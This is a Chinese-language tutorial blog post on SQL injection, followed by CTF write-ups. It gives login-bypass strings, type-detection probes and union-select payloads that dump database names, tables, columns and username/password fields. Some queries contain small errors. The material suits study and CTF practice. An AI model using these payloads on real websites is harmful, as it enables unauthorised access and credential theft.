SQL注入漏洞

 

1 SQL注入漏洞

1.1 SQL注入漏洞原理

SQL注入通常是攻击者通过操作来修改SQL语句,通过代码对Web服务器进行攻击。在程序管理员不知情的状况下对Web应用程序进行攻击,来获得用户名和密码等信息,进而来获得数据库的权限。SQL注入漏洞目前较为常见,危害也较大。

1.2 SQL注入万能密码原理

SQL注入漏洞中含有万能密码的原理是提交的字符没有过滤或者过滤不严格,从而不需要进行用户名验证或密码验证就可以进行登录,此时攻击者可能利用此漏洞来盗取信息。

在存在漏洞的网站,攻击者就可利用SQL注入漏洞绕过登录验证。如将SQL语句写为:SELECT*FROM Student WHERE name=''AND PWD=1'or'1'='1,因为赋值'1'='1'是恒等式所以永远正确。这种万能密码方式是跳过身份认证的手段十分简单。当使用了万能密码,用户输入的name用户名和密码都会失效,无论输入正确的信息还是错误的信息最终都可以成功登录,这就是典型的SQL注入。在用户登录界面,如图1所示,输入正确的用户名:张三,万能密码:1'or'1'='1此时成功进入登录后的学生考试查成绩界面如图2所示。

 

 

 

2注入的分类:

2.1数据类型分类:

 

2.1.1数字型注入: or 1=1
当输入的参数为整型时,如ID、年龄、页码等,如果存在注入漏洞,则可以认为是数字型注入。这种数字型注入最多出现在ASP、PHP等弱类型语言中,弱类型语言会自动推导变量类型,例如,参数id=8,PHP会自动推导变量id的数据类型为int类型,那么id=8 and 1=1,则会推导为string类型,这是弱类型语言的特性。而对于Java、C#这类强类型语言,如果试图把一个字符串转换为int类型,则会抛出异常,无法继续执行。所以,强类型的语言很少存在数字型注入漏洞。

 

2.1.2字符型注入: ' or 1=1#
当输入参数为字符串时,称为字符型。数字型与字符型注入最大的区别在于:数字型不需要单引号闭合,而字符串类型一般要使用单引号来闭合。

 

2.1.3搜索型注入: %xxx% or 1=1 #%'
当在搜索框搜索的时候,称为搜索型。搜索型与数字型注入最大的区别在于:数字型不需要百分号闭合,而搜索类型一般要使用百分号来闭合。

 

2.1.4XX型注入: xx') or 1=1#
这种情况很少见,是程序员不规则操作造成的,一般不会单独归为一类。

2.2判断注入类型

2.2.1判断该SQL注入是否为数字型:
假设后台SQL语句: SELECT * FROM TABLE WHERE id=1;
判断数字型漏洞的SQL注入点:
①先在输入框中输入一个单引号’
这样的SQL语句就会变为:

SELECT * FROM table WHERE id=1’ ,

不符合语法,所以该语句肯定会出错,导致脚本程序无法从数据库获取数据,从而使原来的页面出现异常。
②在输入框中输入and 1=1
SQL语句变为:

SELECT * FROM table WHERE id=1 and 1 = 1

语句正确,执行正常,返回的数据与原始请求无任何差异。
③在数据库中输入and 1=2
SQL语句变为:

SELECT * FROM table WHERE id=1 and 1 = 2

虽然语法正确,语句执行正常,但是逻辑错误,因为1= 2为永假,所以返回数据与原始请求有差异。
如果以上三个步骤全部满足,则程序就可能存在数字型SQL注入漏洞。

2.2.2判断该SQL注入是否为字符型:
假设后台SQL语句:SELECT *FROM TABLE WHERE id=’admin’;
判断字符型漏洞的SQL注入点:
①还是先输入单引号admin’ 来测试
这样的SQL语句就会变为:

SELECT FROM table WHERE username =' admin'’
页面异常。
②输入:admin' and 1=1--
注意:在admin后有一个单引号 ’,用于字符串闭合,最后还有一个注释符 – (两条杠后面还有一个空格!-- 后面的内容被注释,即后面的内容将不起作用。
SQL语句变为:

SELECT * FROM table WHERE username =' admin' and 1 = 1 --
页面显示正确。
③输入: admin’and 1 = 2 --
SQL语句变为:

SELECT FROM table WHERE username =' admin' and 1=2 --
页面错误。
满足上面三个步骤则有可能存在字符型SQL注入。

3 SQL注入攻击流程
①判断是否存在SQL注入漏洞
数字型:
Url 地址中输入 http://xxx/abc.php?id= x and 1=1 页面依旧运行正常,继续进行下一步。
Url 地址中继续输入 http://xxx/abc.php?id= x and 1=2 页面运行错误,则说明此 Sql 注入为数字型注入。
字符型:
Url 地址中输入 http://xxx/abc.php?id= x’ and ‘1’=‘1 页面运行正常,继续进行下一步。
Url 地址中继续输入 http://xxx/abc.php?id= x’ and ‘1’='2 页面运行错误,则说明此 Sql 注入为字符型注入。
②判断网页是否存在字段
SELECT * FROM TABLE WHERE id=1?id=1 order by 2 ,回车查看页面正常;
SELECT * FROM TABLE WHERE id=1?id=1 order by 3 ,回车查看页面不正常;
说明有两个字段(列名)。
③判断回显点
?id=1 and 1=2 union select 1,2,3 页面会有相应提示。(union 联合语句,将前后两次的查询结果合并在一起)。
④获取信息
a. 查询当前数据库名:?id=1 and 1=2 union select 1,database()
b. 查询当前数据库版本:?id=1 and 1=2 union select 1,version()
c. 查询当前数据库表名:?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_name=database() limit 0,1
(limit 0,1表示从第一行起,显示一行的内容;注意:行号是从0开始排序)
d. 查询当前表的字段名:?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_name=database() and table_name=数据库表名 limit 0,1(改变limit中0的值,来显示所有字段名)
e. 查询字段的内容:?id=1 and 1=2 union select 1,username,password from 数据库表名 limit 0,1

 

 

参考文献:

 

[1]李玲,任佳宁,韩冰倩,朱萍.基于Web应用安全的SQL注入漏洞与防御[J].电脑编程技巧与维护,2022,(01):175-176.

 

[2] 一、⚽SQL注入漏洞 - 知乎 (zhihu.com)

 

[3]https://blog.csdn.net/c_programj/article/details/115537658

 wp:

1、ctfhub SQL整数型注入

输入1',没有回显

 

输入1 and 1=1,出现回显

 

 输入1 and 1=2,无法访问数据库,判断为数字注入

 

 判断字段数量,输入 1 order by 2出现回显,字段数量是2个

 

 查询SQL语句插入位置,输入-1 union select 1,2

 

查询数据库库名字,输入-1 union select,database(),得知数据库名字为sqli

 

查询所有数据库的库名,输入-1 union select 1,group_concat(schema_name)from information_schema.schemata

 

 获取数据库表名

查询flag里的所有的字段,输入http://challenge-29f9390691f2a758.sandbox.ctfhub.com:10800/?id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='flag'

 

 

 

获取数据,输入union select 1,group_concat(flag) from sqli.flag

2 BUUCTF[极客大挑战 2019]EasySQL1

输入万能密码即可

 

 

 

3 BUUCTF [SUCTF 2019]EasySQL1

输入1

输入1;set sql_mode=PIPES_AS_CONCAT;select 1

 

posted on 2022-07-17 22:36  blue_blue_blue_blue  阅读(923)  评论(0编辑  收藏  举报